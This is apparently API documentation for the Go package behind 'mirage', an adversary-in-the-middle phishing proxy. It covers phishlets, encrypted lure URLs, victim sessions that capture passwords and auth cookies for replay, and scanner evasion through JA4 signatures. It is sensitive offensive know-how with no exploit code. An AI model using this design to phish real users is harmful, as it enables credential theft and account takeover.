Documentation
¶
Overview ¶
Package aitm defines the central domain model for the mirage AiTM proxy.
It contains no business logic of its own — the proxy pipeline, API, and storage layers all depend on this package, so keeping it free of outward dependencies prevents import cycles.
Phishlet types ¶
Phishlet is the unified type representing a phishlet. It combines two groups of fields that have different lifecycles:
Compiled rules (ProxyHosts, SubFilters, AuthTokens, etc.) are populated by the phishlet loader from the YAML file. They are never persisted.
Operator config (Hostname, BaseDomain, Enabled, etc.) is persisted to the database and survives restarts.
Either group may be zero-valued. A freshly loaded YAML has no operator config; a record loaded from the database has no compiled rules. The daemon merges both at startup and on every YAML reload.
Lures ¶
A Lure is a configured phishing URL tied to a phishlet. It carries per-lure settings (redirect URL, user-agent filter, OpenGraph tags, pause schedule) and a 32-byte AES-256-GCM key used to encrypt custom parameters embedded in the phishing URL's ?p= query value.
Session lifecycle ¶
A Session is created when a victim first hits a lure. It progresses through three observable states, each of which publishes an event to the [eventBus]:
- Created — [EventSessionCreated] — victim loaded the phishing page
- Creds — [EventCredsCaptured] — username/password captured from a POST
- Completed — [EventSessionCompleted] — all required auth tokens captured; Session.CompletedAt is set and the post-capture redirect fires
The proxy pipeline calls SessionService.IsComplete after every response to check whether all non-always TokenRule entries in the Phishlet have been satisfied. When they have, SessionService.Complete marks the session done and publishes [EventSessionCompleted].
Event bus ¶
[eventBus] is the publish/subscribe interface that decouples the proxy pipeline from other components. The WebSocket hub subscribes to [EventSessionCompleted] to fan the redirect URL out to waiting browsers. Publish must never block; if a subscriber's channel is full the event is silently dropped to avoid stalling the proxy hot path.
Index ¶
- Variables
- func MatchesDomain(cookieDomain, ruleDomain string) bool
- func SubscribeAndHandle(bus eventBus, eventType sdk.EventType, fn func(Event)) (unsubscribe func())
- type BlacklistService
- type BotDetectedPayload
- type BotGuardService
- func (s *BotGuardService) AddSignature(sig BotSignature) error
- func (s *BotGuardService) Evaluate(ja4 string, telemetry *BotTelemetry) BotVerdict
- func (s *BotGuardService) ListSignatures() ([]BotSignature, error)
- func (s *BotGuardService) LoadSignaturesFromDB() error
- func (s *BotGuardService) RemoveSignature(ja4Hash string) error
- func (s *BotGuardService) ScoreSession(sessionID string) float64
- func (s *BotGuardService) StoreTelemetry(t *BotTelemetry) error
- type BotSignature
- type BotTelemetry
- type BotVerdict
- type CertSource
- type ConfiguredPhishlet
- type CookieExport
- type CredentialRule
- type CredentialRules
- type CustomCredentialRule
- type DNSProvider
- type DNSService
- func (s *DNSService) CleanUp(ctx context.Context, domain, token, keyAuth string) error
- func (s *DNSService) CreateRecord(ctx context.Context, zone, name, typ, value string, ttl int) error
- func (s *DNSService) DeleteRecord(ctx context.Context, zone, name, typ string) error
- func (s *DNSService) ListProviders() []string
- func (s *DNSService) ListZones() []ZoneConfig
- func (s *DNSService) Present(ctx context.Context, domain, token, keyAuth string) error
- func (s *DNSService) Reconcile(ctx context.Context, desiredRecords []PhishletRecord) error
- func (s *DNSService) RemoveRecords(ctx context.Context, records []PhishletRecord) error
- func (s *DNSService) UpdateRecord(ctx context.Context, zone, name, typ, value string, ttl int) error
- type DNSSyncAction
- type DNSSyncPayload
- type Event
- func NewBotDetectedEvent(p BotDetectedPayload) Event
- func NewCredsCapturedEvent(s *Session) Event
- func NewDNSSyncEvent(p DNSSyncPayload) Event
- func NewPhishletEnabledEvent(cp *ConfiguredPhishlet) Event
- func NewPhishletPushedEvent(p *Phishlet) Event
- func NewSessionCompletedEvent(s *Session) Event
- func NewSessionCreatedEvent(s *Session) Event
- func NewTokensCapturedEvent(s *Session) Event
- type ForcePost
- type ForcePostCondition
- type ForcePostParam
- type InterceptRule
- type JSInject
- type LoginSpec
- type Lure
- type LureService
- func (s *LureService) Create(lure *Lure) error
- func (s *LureService) DecryptParams(lure *Lure, token string) (map[string]string, error)
- func (s *LureService) Delete(id string) error
- func (s *LureService) Get(id string) (*Lure, error)
- func (s *LureService) List() ([]*Lure, error)
- func (s *LureService) Pause(id string, d time.Duration) (*Lure, error)
- func (s *LureService) URLWithParams(lure *Lure, httpsPort int, params map[string]string) (string, error)
- func (s *LureService) Unpause(id string) (*Lure, error)
- func (s *LureService) Update(lure *Lure) error
- type NopDNSReconciler
- type NotificationChannel
- type NotificationService
- func (s *NotificationService) Create(channel *NotificationChannel) error
- func (m *NotificationService) Delete(id string) error
- func (m *NotificationService) Get(id string) (*NotificationChannel, error)
- func (m *NotificationService) List() ([]*NotificationChannel, error)
- func (s *NotificationService) Shutdown(ctx context.Context) error
- func (s *NotificationService) Start(ctx context.Context)
- func (m *NotificationService) Test(ctx context.Context, id string) error
- type Operator
- type OperatorInvite
- type OperatorService
- type ParseError
- type ParseErrors
- type Phishlet
- type PhishletConfig
- type PhishletFilter
- type PhishletRecord
- type PhishletService
- func (s *PhishletService) Disable(ctx context.Context, name string) (*ConfiguredPhishlet, error)
- func (s *PhishletService) Enable(ctx context.Context, name, hostname, dnsProvider string) (*ConfiguredPhishlet, error)
- func (s *PhishletService) Get(name string) (*PhishletConfig, error)
- func (s *PhishletService) InvalidateLures()
- func (s *PhishletService) List() ([]*PhishletConfig, error)
- func (s *PhishletService) LoadFromDB() error
- func (s *PhishletService) Push(yaml string) (*Phishlet, error)
- func (s *PhishletService) ReconcileAll(ctx context.Context) error
- func (s *PhishletService) ResolveHostname(hostname, urlPath string) (*ConfiguredPhishlet, *Lure, error)
- type ProxyHost
- type PuppetService
- type PuppetServiceConfig
- type Session
- type SessionFilter
- type SessionService
- func (s *SessionService) CaptureCredentials(session *Session) error
- func (s *SessionService) CaptureTokens(session *Session) error
- func (s *SessionService) Complete(session *Session) error
- func (s *SessionService) Count(f SessionFilter) (int, error)
- func (s *SessionService) Delete(id string) error
- func (s *SessionService) ExportCookiesJSON(id string) ([]byte, error)
- func (s *SessionService) Get(id string) (*Session, error)
- func (s *SessionService) IsComplete(sess *Session, def *Phishlet) bool
- func (s *SessionService) List(f SessionFilter) ([]*Session, error)
- func (s *SessionService) NewSession(clientIP, ja4Hash, userAgent, lureID, phishletName string, ...) (*Session, error)
- func (s *SessionService) Stream(ctx context.Context) <-chan Event
- func (s *SessionService) Update(session *Session) error
- type SubFilter
- type TokenRule
- type TokenType
- type ZoneConfig
Constants ¶
This section is empty.
Variables ¶
var ( ErrInvalidToken = errors.New("invalid invite token") ErrInvalidCSR = errors.New("invalid certificate signing request") ErrSigningFailed = errors.New("certificate signing failed") )
var ( ErrHostnameRequired = errors.New("hostname is required") ErrHostnameConflict = errors.New("hostname is already in use by another phishlet") )
var ErrConflict = errors.New("conflict")
var ErrInvalidFilter = errors.New("invalid filter")
var ErrNotFound = errors.New("not found")
var ErrRecordExists = errors.New("dns: record already exists")
var ErrRecordNotFound = errors.New("dns: record not found")
Functions ¶
func MatchesDomain ¶
MatchesDomain reports whether cookieDomain satisfies ruleDomain using the standard phishlet convention: a leading dot on ruleDomain means "this domain and all subdomains". Leading dots are stripped from both sides before comparison so the form returned by Go's cookie parser (no leading dot) matches phishlet rules that conventionally include one.
func SubscribeAndHandle ¶ added in v0.5.3
SubscribeAndHandle subscribes to eventType on bus and runs fn for each event received. It returns an unsubscribe function that terminates the subscription and blocks until the dispatch goroutine has fully exited — so callers can safely tear down resources fn touches (e.g. close a downstream channel) immediately after unsubscribe returns.
fn is called sequentially — concurrent calls from a single SubscribeAndHandle are not possible. For slow handlers, spawn a goroutine inside fn.
Types ¶
type BlacklistService ¶
type BlacklistService struct {
// contains filtered or unexported fields
}
BlacklistService manages IP-based access control using an in-memory set. Persistence will be layered on in a later phase.
func NewBlacklistService ¶
func NewBlacklistService() *BlacklistService
func (*BlacklistService) Block ¶
func (s *BlacklistService) Block(ip string)
func (*BlacklistService) IsBlocked ¶
func (s *BlacklistService) IsBlocked(ip string) bool
func (*BlacklistService) List ¶
func (s *BlacklistService) List() []string
List returns blocked IPs in unspecified order.
func (*BlacklistService) Unblock ¶
func (s *BlacklistService) Unblock(ip string)
func (*BlacklistService) WhitelistTemporary ¶
func (s *BlacklistService) WhitelistTemporary(ip string, dur time.Duration)
WhitelistTemporary temporarily exempts ip from blocking. Called after token capture so the victim's browser isn't blocked during the post-auth redirect.
type BotDetectedPayload ¶
type BotDetectedPayload struct {
SessionID string
RemoteAddr string
JA4Hash string
BotScore float64
Verdict string // "spoof" or "block"
Reason string // e.g. "JA4 match: zgrab2"
}
BotDetectedPayload is the payload for EventBotDetected.
type BotGuardService ¶
type BotGuardService struct {
Scorer botScorer
Store botTelemetryStore
SignatureStore botSignatureStore
Bus eventBus
// contains filtered or unexported fields
}
BotGuardService evaluates connections for bot/scanner signatures. L1 (JA4 signature lookup) is performed in-memory via signatures sync.Map. L2 (telemetry heuristic) is delegated to Scorer.
func (*BotGuardService) AddSignature ¶
func (s *BotGuardService) AddSignature(sig BotSignature) error
AddSignature persists a new bot signature and adds it to the in-memory set.
func (*BotGuardService) Evaluate ¶
func (s *BotGuardService) Evaluate(ja4 string, telemetry *BotTelemetry) BotVerdict
Evaluate checks L1 (in-memory JA4 signature) then L2 (telemetry heuristic).
func (*BotGuardService) ListSignatures ¶
func (s *BotGuardService) ListSignatures() ([]BotSignature, error)
ListSignatures returns all persisted bot signatures.
func (*BotGuardService) LoadSignaturesFromDB ¶
func (s *BotGuardService) LoadSignaturesFromDB() error
LoadSignaturesFromDB populates the in-memory signature set from the database. Call once at startup before serving requests.
func (*BotGuardService) RemoveSignature ¶
func (s *BotGuardService) RemoveSignature(ja4Hash string) error
RemoveSignature deletes a bot signature from the database and in-memory set. Returns aitm.ErrNotFound if no signature with the given hash exists.
func (*BotGuardService) ScoreSession ¶
func (s *BotGuardService) ScoreSession(sessionID string) float64
ScoreSession loads stored telemetry for sessionID and returns a [0.0, 1.0] bot probability score. Returns 1.0 if any telemetry record scores as non-allow.
func (*BotGuardService) StoreTelemetry ¶
func (s *BotGuardService) StoreTelemetry(t *BotTelemetry) error
StoreTelemetry persists a telemetry record so ScoreSession can evaluate it later.
type BotSignature ¶
type BotTelemetry ¶
type BotVerdict ¶
type BotVerdict int
const ( VerdictAllow BotVerdict = iota VerdictSpoof VerdictBlock )
type CertSource ¶
type CertSource interface {
GetCertificate(hello *tls.ClientHelloInfo) (*tls.Certificate, error)
}
type ConfiguredPhishlet ¶ added in v0.3.0
type ConfiguredPhishlet struct {
Definition *Phishlet
Config *PhishletConfig
}
ConfiguredPhishlet pairs a compiled phishlet with operator config. This is what the resolver stores and the proxy uses during request handling.
type CookieExport ¶
type CookieExport struct {
Name string `json:"name"`
Value string `json:"value"`
Domain string `json:"domain"`
Path string `json:"path"`
Expires int64 `json:"expirationDate"`
HttpOnly bool `json:"httpOnly"`
Secure bool `json:"secure"`
SameSite string `json:"sameSite"`
}
CookieExport is the wire format for the StorageAce browser import extension.
type CredentialRule ¶
type CredentialRule struct {
Key *regexp.Regexp
Search *regexp.Regexp
Type string // "post" or "json"
}
CredentialRule is a key+search regex pair that extracts one field from POST/JSON.
type CredentialRules ¶
type CredentialRules struct {
Username CredentialRule
Password CredentialRule
Custom []CustomCredentialRule
}
CredentialRules groups the extraction rules for username, password, and custom fields.
type CustomCredentialRule ¶
type CustomCredentialRule struct {
Name string
CredentialRule
}
CustomCredentialRule is like CredentialRule but stores into Session.Custom[Name].
type DNSProvider ¶
type DNSProvider interface {
CreateRecord(ctx context.Context, zone, name, typ, value string, ttl int) error
UpdateRecord(ctx context.Context, zone, name, typ, value string, ttl int) error
DeleteRecord(ctx context.Context, zone, name, typ string) error
// ACME DNS-01 challenge support.
Present(ctx context.Context, domain, token, keyAuth string) error
CleanUp(ctx context.Context, domain, token, keyAuth string) error
Ping(ctx context.Context) error
// Name returns a short provider identifier, e.g. "builtin" or "cloudflare".
Name() string
}
DNSProvider is the interface that dns provider implementations satisfy implicitly. It covers record management, ACME DNS-01 challenge support, and health checking. Implementations must be safe for concurrent use.
type DNSService ¶
type DNSService struct {
// contains filtered or unexported fields
}
DNSService routes DNS record operations to the appropriate provider for each configured zone, and reconciles the desired record state for active phishlets.
func NewDNSService ¶
func NewDNSService(providers map[string]DNSProvider, zones map[string]ZoneConfig, bus eventBus, logger *slog.Logger) *DNSService
func (*DNSService) CleanUp ¶
func (s *DNSService) CleanUp(ctx context.Context, domain, token, keyAuth string) error
func (*DNSService) CreateRecord ¶
func (*DNSService) DeleteRecord ¶
func (s *DNSService) DeleteRecord(ctx context.Context, zone, name, typ string) error
func (*DNSService) ListProviders ¶ added in v0.4.0
func (s *DNSService) ListProviders() []string
ListProviders returns the aliases of all configured DNS providers.
func (*DNSService) ListZones ¶ added in v0.4.0
func (s *DNSService) ListZones() []ZoneConfig
ListZones returns all configured DNS zones.
func (*DNSService) Present ¶
func (s *DNSService) Present(ctx context.Context, domain, token, keyAuth string) error
func (*DNSService) Reconcile ¶
func (s *DNSService) Reconcile(ctx context.Context, desiredRecords []PhishletRecord) error
Reconcile creates or updates DNS records to match the desired state. It is idempotent — calling it twice with the same desired state is safe.
func (*DNSService) RemoveRecords ¶
func (s *DNSService) RemoveRecords(ctx context.Context, records []PhishletRecord) error
RemoveRecords cleans up DNS records when a phishlet is disabled.
func (*DNSService) UpdateRecord ¶
type DNSSyncAction ¶ added in v0.5.3
type DNSSyncAction string
DNSSyncAction names the DNS record change reported by a DNSSyncPayload.
const ( DNSActionCreate DNSSyncAction = "create" DNSActionUpdate DNSSyncAction = "update" DNSActionDelete DNSSyncAction = "delete" )
type DNSSyncPayload ¶
type DNSSyncPayload struct {
Zone string
Name string
Type string // "A", "AAAA", "TXT", etc.
Value string
Action DNSSyncAction
Provider string // provider alias from config
}
DNSSyncPayload is the payload for EventDNSRecordSynced.
type Event ¶
Event is a domain event published to the bus.
func NewBotDetectedEvent ¶ added in v0.5.3
func NewBotDetectedEvent(p BotDetectedPayload) Event
func NewCredsCapturedEvent ¶ added in v0.5.3
func NewDNSSyncEvent ¶ added in v0.5.3
func NewDNSSyncEvent(p DNSSyncPayload) Event
func NewPhishletEnabledEvent ¶ added in v0.5.3
func NewPhishletEnabledEvent(cp *ConfiguredPhishlet) Event
func NewPhishletPushedEvent ¶ added in v0.5.3
func NewSessionCompletedEvent ¶ added in v0.5.3
func NewSessionCreatedEvent ¶ added in v0.5.3
func NewTokensCapturedEvent ¶ added in v0.5.3
type ForcePost ¶
type ForcePost struct {
Path *regexp.Regexp
Conditions []ForcePostCondition
Params []ForcePostParam
}
ForcePost describes a POST parameter to inject or override.
type ForcePostCondition ¶
type ForcePostParam ¶
type InterceptRule ¶
type InterceptRule struct {
Path *regexp.Regexp
BodySearch *regexp.Regexp
StatusCode int
ContentType string
Body string
}
InterceptRule matches a request and returns a fully custom response.
type Lure ¶
type Lure struct {
ID string
Phishlet string
Hostname string
Path string
RedirectURL string
SpoofURL string
UAFilter string // raw regex; empty means accept all
PausedUntil time.Time
ParamsKey []byte // 32-byte AES-256-GCM key, generated at creation
// contains filtered or unexported fields
}
Lure is a configured phishing URL instance tied to a specific phishlet.
func (*Lure) CompileUA ¶
CompileUA compiles the UAFilter regex. Must be called after loading from storage.
func (*Lure) PausedUntilPtr ¶
PausedUntilPtr returns a pointer to PausedUntil, or nil if not paused.
type LureService ¶
type LureService struct {
Store lureStore
Invalidator lureInvalidator
Cipher paramCipher
}
LureService owns all business logic for lure management.
func (*LureService) Create ¶
func (s *LureService) Create(lure *Lure) error
func (*LureService) DecryptParams ¶
DecryptParams decodes and decrypts the ?p= query value from a lure URL.
func (*LureService) Delete ¶
func (s *LureService) Delete(id string) error
func (*LureService) List ¶
func (s *LureService) List() ([]*Lure, error)
func (*LureService) URLWithParams ¶
func (s *LureService) URLWithParams(lure *Lure, httpsPort int, params map[string]string) (string, error)
URLWithParams returns the phishing URL with encrypted custom parameters embedded as a URL-safe base64 ?p= query value.
func (*LureService) Update ¶
func (s *LureService) Update(lure *Lure) error
type NopDNSReconciler ¶
type NopDNSReconciler struct{}
NopDNSReconciler is a DNS reconciler that does nothing. Used when no DNS providers are configured (e.g., local testing with /etc/hosts).
func (NopDNSReconciler) Reconcile ¶
func (NopDNSReconciler) Reconcile(_ context.Context, _ []PhishletRecord) error
func (NopDNSReconciler) RemoveRecords ¶
func (NopDNSReconciler) RemoveRecords(_ context.Context, _ []PhishletRecord) error
type NotificationChannel ¶
type NotificationChannel struct {
ID string
Type sdk.ChannelType
URL string
AuthHeader string // optional Authorization header (webhook only)
Filter []sdk.EventType // event type filter; empty = all events
Enabled bool
CreatedAt time.Time
}
NotificationChannel is a configured notification destination.
type NotificationService ¶
type NotificationService struct {
Store notificationStore
Dispatcher notificationDispatcher
}
NotificationService owns notification channel lifecycle — CRUD, dispatcher reload, and test delivery. The API handler delegates to this service.
func (*NotificationService) Create ¶
func (s *NotificationService) Create(channel *NotificationChannel) error
func (*NotificationService) Delete ¶
func (m *NotificationService) Delete(id string) error
func (*NotificationService) Get ¶
func (m *NotificationService) Get(id string) (*NotificationChannel, error)
func (*NotificationService) List ¶
func (m *NotificationService) List() ([]*NotificationChannel, error)
func (*NotificationService) Shutdown ¶
func (s *NotificationService) Shutdown(ctx context.Context) error
Shutdown stops the dispatcher and waits for in-flight deliveries.
func (*NotificationService) Start ¶
func (s *NotificationService) Start(ctx context.Context)
Start loads channels from the store and starts the dispatcher.
type OperatorInvite ¶ added in v0.2.0
OperatorInvite is a single-use token for enrolling a new operator.
type OperatorService ¶ added in v0.2.0
type OperatorService struct {
Store operatorStore
Signer certSigner
}
OperatorService manages operator lifecycle: invites, enrollment, and listing.
func (*OperatorService) Delete ¶ added in v0.2.0
func (s *OperatorService) Delete(name string) error
func (*OperatorService) Enroll ¶ added in v0.2.0
func (s *OperatorService) Enroll(token string, csrPEM []byte) (certPEM, caCertPEM []byte, err error)
Enroll validates the invite token, signs the CSR, registers the operator, and returns the signed cert + CA cert.
func (*OperatorService) Invite ¶ added in v0.2.0
func (s *OperatorService) Invite(name string) (*OperatorInvite, error)
Invite creates a single-use invite token for the named operator.
func (*OperatorService) List ¶ added in v0.2.0
func (s *OperatorService) List() ([]*Operator, error)
type ParseError ¶ added in v0.3.0
type ParseError struct {
// File is the path of the YAML file being parsed.
File string
// Field is the dot-separated path to the problematic field,
// e.g. "sub_filters[0].search" or "proxy_hosts[1].phish_sub".
Field string
// Message describes the problem in human-readable form.
Message string
}
ParseError is a single field-level problem found while validating or compiling a phishlet YAML file.
func (ParseError) Error ¶ added in v0.3.0
func (e ParseError) Error() string
type ParseErrors ¶ added in v0.3.0
type ParseErrors []ParseError
ParseErrors is a collection of ParseError values returned when multiple problems are found in a single phishlet file.
func (ParseErrors) Error ¶ added in v0.3.0
func (p ParseErrors) Error() string
type Phishlet ¶
type Phishlet struct {
Name string
Author string
Version string
ProxyHosts []ProxyHost
SubFilters []SubFilter
AuthTokens []TokenRule
Credentials CredentialRules
Login LoginSpec
ForcePosts []ForcePost
Intercepts []InterceptRule
JSInjects []JSInject
}
Phishlet is a compiled phishlet definition. It is the shareable artifact produced by parsing and compiling a phishlet YAML file.
func (*Phishlet) FindLanding ¶
FindLanding returns the proxy host marked is_landing, or nil if none.
func (*Phishlet) FindProxyHost ¶
FindProxyHost returns the proxy host whose phishing FQDN matches phishHost, stripping any port and normalising case. Returns nil if no host matches.
func (*Phishlet) MatchesHost ¶
MatchesHost reports whether hostname belongs to this phishlet under baseDomain.
type PhishletConfig ¶ added in v0.3.0
type PhishletConfig struct {
Name string
BaseDomain string
DNSProvider string
Hostname string
SpoofURL string
Enabled bool
}
PhishletConfig holds the operator's runtime settings for a phishlet. Persisted to SQLite and survives daemon restarts.
type PhishletFilter ¶ added in v0.3.0
type PhishletFilter struct {
Enabled *bool
}
PhishletFilter controls which configs are returned by ListConfigs.
type PhishletRecord ¶
type PhishletRecord struct {
Zone string
Name string // FQDN, e.g. "login.phish.com"
IP string // overrides ZoneConfig.ExternalIP when non-empty
}
PhishletRecord is the set of DNS records that must exist for one proxy host inside an active phishlet.
type PhishletService ¶
type PhishletService struct {
Store phishletStore
Bus eventBus
DNS dnsReconciler
Resolver phishletResolver
Compiler phishletCompiler
}
PhishletService owns all business logic for phishlet lifecycle. Every enable/disable writes to the store AND updates the in-memory resolver, so the proxy router never falls out of sync with the database.
func (*PhishletService) Disable ¶
func (s *PhishletService) Disable(ctx context.Context, name string) (*ConfiguredPhishlet, error)
Disable marks a phishlet as inactive and removes its DNS records.
func (*PhishletService) Enable ¶
func (s *PhishletService) Enable(ctx context.Context, name, hostname, dnsProvider string) (*ConfiguredPhishlet, error)
Enable marks a phishlet as active, optionally updating its hostname, base domain, and DNS provider. The resolver is updated so routing takes effect immediately. If a DNS reconciler is configured, A records are created for each proxy host's phishing FQDN.
func (*PhishletService) Get ¶
func (s *PhishletService) Get(name string) (*PhishletConfig, error)
Get returns the phishlet config by name.
func (*PhishletService) InvalidateLures ¶
func (s *PhishletService) InvalidateLures()
InvalidateLures reloads the lure cache after any lure mutation. Satisfies the lureInvalidator interface so LureService can notify the routing index.
func (*PhishletService) List ¶
func (s *PhishletService) List() ([]*PhishletConfig, error)
List returns all phishlet configs.
func (*PhishletService) LoadFromDB ¶
func (s *PhishletService) LoadFromDB() error
LoadFromDB compiles stored definitions, applies operator config, and registers enabled phishlets in the resolver. Call once at startup.
func (*PhishletService) Push ¶ added in v0.3.0
func (s *PhishletService) Push(yaml string) (*Phishlet, error)
Push validates phishlet YAML and stores the definition.
func (*PhishletService) ReconcileAll ¶ added in v0.4.0
func (s *PhishletService) ReconcileAll(ctx context.Context) error
ReconcileAll reconciles DNS records for all enabled phishlets.
func (*PhishletService) ResolveHostname ¶
func (s *PhishletService) ResolveHostname(hostname, urlPath string) (*ConfiguredPhishlet, *Lure, error)
ResolveHostname returns the configured phishlet and best-matching lure for a request hostname. Returns nil, nil, nil when no active phishlet owns the hostname.
type ProxyHost ¶
type ProxyHost struct {
PhishSubdomain string
OrigSubdomain string
Domain string
IsLanding bool
AutoFilter bool
UpstreamScheme string // "http" or "https"
}
ProxyHost maps a phishing subdomain to a real upstream host.
func (*ProxyHost) OriginHost ¶
OriginHost returns the fully qualified upstream hostname (e.g. "login.microsoftonline.com").
type PuppetService ¶
type PuppetService struct {
// contains filtered or unexported fields
}
PuppetService manages headless browser interactions for bot telemetry collection. It collects telemetry from target sites and caches JS override strings keyed by phishlet name for injection into victim responses.
func NewPuppetService ¶
func NewPuppetService(puppet puppet, builder overrideBuilder, bus eventBus, cfg PuppetServiceConfig, logger *slog.Logger) *PuppetService
func (*PuppetService) CollectAndCache ¶
func (s *PuppetService) CollectAndCache(ctx context.Context, phishletName, targetURL string) error
CollectAndCache runs the puppet browser against targetURL, builds the JS override, and caches it under phishletName.
func (*PuppetService) GetOverride ¶
func (s *PuppetService) GetOverride(phishletName string) string
GetOverride returns the cached JS override for a phishlet, or "" if none.
func (*PuppetService) Shutdown ¶
func (s *PuppetService) Shutdown(ctx context.Context) error
Shutdown cancels in-flight collections, unsubscribes from events, and shuts down the puppet backend.
func (*PuppetService) Start ¶
func (s *PuppetService) Start(ctx context.Context)
Start subscribes to phishlet-enabled events and triggers async collection. The provided context is used as the parent for all puppet collection goroutines; cancelling it (e.g. on daemon shutdown) cancels any in-flight collections.
type PuppetServiceConfig ¶
PuppetServiceConfig holds the parameters for constructing a PuppetService.
type Session ¶
type Session struct {
ID string
Phishlet string
LureID string
RemoteAddr string
UserAgent string
JA4Hash string
BotScore float64
Username string
Password string
Custom map[string]string
LureParams map[string]string // decrypted params from the ?p= lure URL token
CookieTokens map[string]map[string]*http.Cookie // domain → name → cookie
BodyTokens map[string]string
HTTPTokens map[string]string
PuppetID string
StartedAt time.Time
CompletedAt *time.Time // nil until all auth_tokens are captured
}
Session is the server-side record for a single victim visit.
func (*Session) AddCookie ¶
AddCookie stores a captured upstream cookie for token extraction and replay. The cookie is stored keyed by its Domain and Name fields.
func (*Session) ExportCookies ¶
func (s *Session) ExportCookies() []CookieExport
ExportCookies returns captured cookies in StorageAce import format.
func (*Session) HasCredentials ¶
func (*Session) HasRequiredTokens ¶
HasRequiredTokens returns true when all non-always auth tokens defined by def have been captured in this session. Used by TokenExtractor to determine when to fire EventSessionCompleted.
type SessionFilter ¶
type SessionFilter struct {
Phishlet string
CompletedOnly bool
IncompleteOnly bool
After time.Time // zero means no lower bound
Before time.Time // zero means no upper bound
Limit int // 0 means no limit
Offset int
}
SessionFilter scopes a ListSessions call.
type SessionService ¶
type SessionService struct {
Store sessionStore
Bus eventBus
// contains filtered or unexported fields
}
SessionService owns all business logic for session lifecycle. Sessions are persisted on creation (one write per victim) and on credential capture / completion. The in-memory cache eliminates database reads from the proxy hot path — Get checks the cache first and only falls back to the store for completed sessions from previous daemon runs.
func (*SessionService) CaptureCredentials ¶
func (s *SessionService) CaptureCredentials(session *Session) error
func (*SessionService) CaptureTokens ¶ added in v0.5.0
func (s *SessionService) CaptureTokens(session *Session) error
func (*SessionService) Complete ¶
func (s *SessionService) Complete(session *Session) error
func (*SessionService) Count ¶
func (s *SessionService) Count(f SessionFilter) (int, error)
func (*SessionService) Delete ¶
func (s *SessionService) Delete(id string) error
func (*SessionService) ExportCookiesJSON ¶
func (s *SessionService) ExportCookiesJSON(id string) ([]byte, error)
func (*SessionService) IsComplete ¶
func (s *SessionService) IsComplete(sess *Session, def *Phishlet) bool
IsComplete satisfies the response.SessionCompleter interface.
func (*SessionService) List ¶
func (s *SessionService) List(f SessionFilter) ([]*Session, error)
func (*SessionService) NewSession ¶
func (s *SessionService) NewSession(clientIP, ja4Hash, userAgent, lureID, phishletName string, lureParams map[string]string) (*Session, error)
NewSession creates a new session and persists it to the store. lureParams are optional key-value pairs decrypted from the lure URL's ?p= token.
func (*SessionService) Stream ¶ added in v0.5.3
func (s *SessionService) Stream(ctx context.Context) <-chan Event
Stream returns a channel that receives every session-lifecycle event published on the bus. The channel is closed and all bus subscriptions are released when ctx is cancelled, so callers need only range over it.
Delivery is best-effort: if the caller drains slowly and the buffer fills, events are dropped for that subscriber, matching the bus's policy.
func (*SessionService) Update ¶
func (s *SessionService) Update(session *Session) error
type SubFilter ¶
SubFilter is a compiled search/replace rule applied to proxied response bodies.
func (*SubFilter) MatchesMIME ¶
type TokenRule ¶
type TokenRule struct {
Type TokenType
Domain string
Name *regexp.Regexp
Search *regexp.Regexp
HTTPOnly bool
Always bool
}
TokenRule describes how to capture one auth token from a response.
type ZoneConfig ¶
ZoneConfig pairs a zone (base domain) with its provider alias and the external IP to use for A records.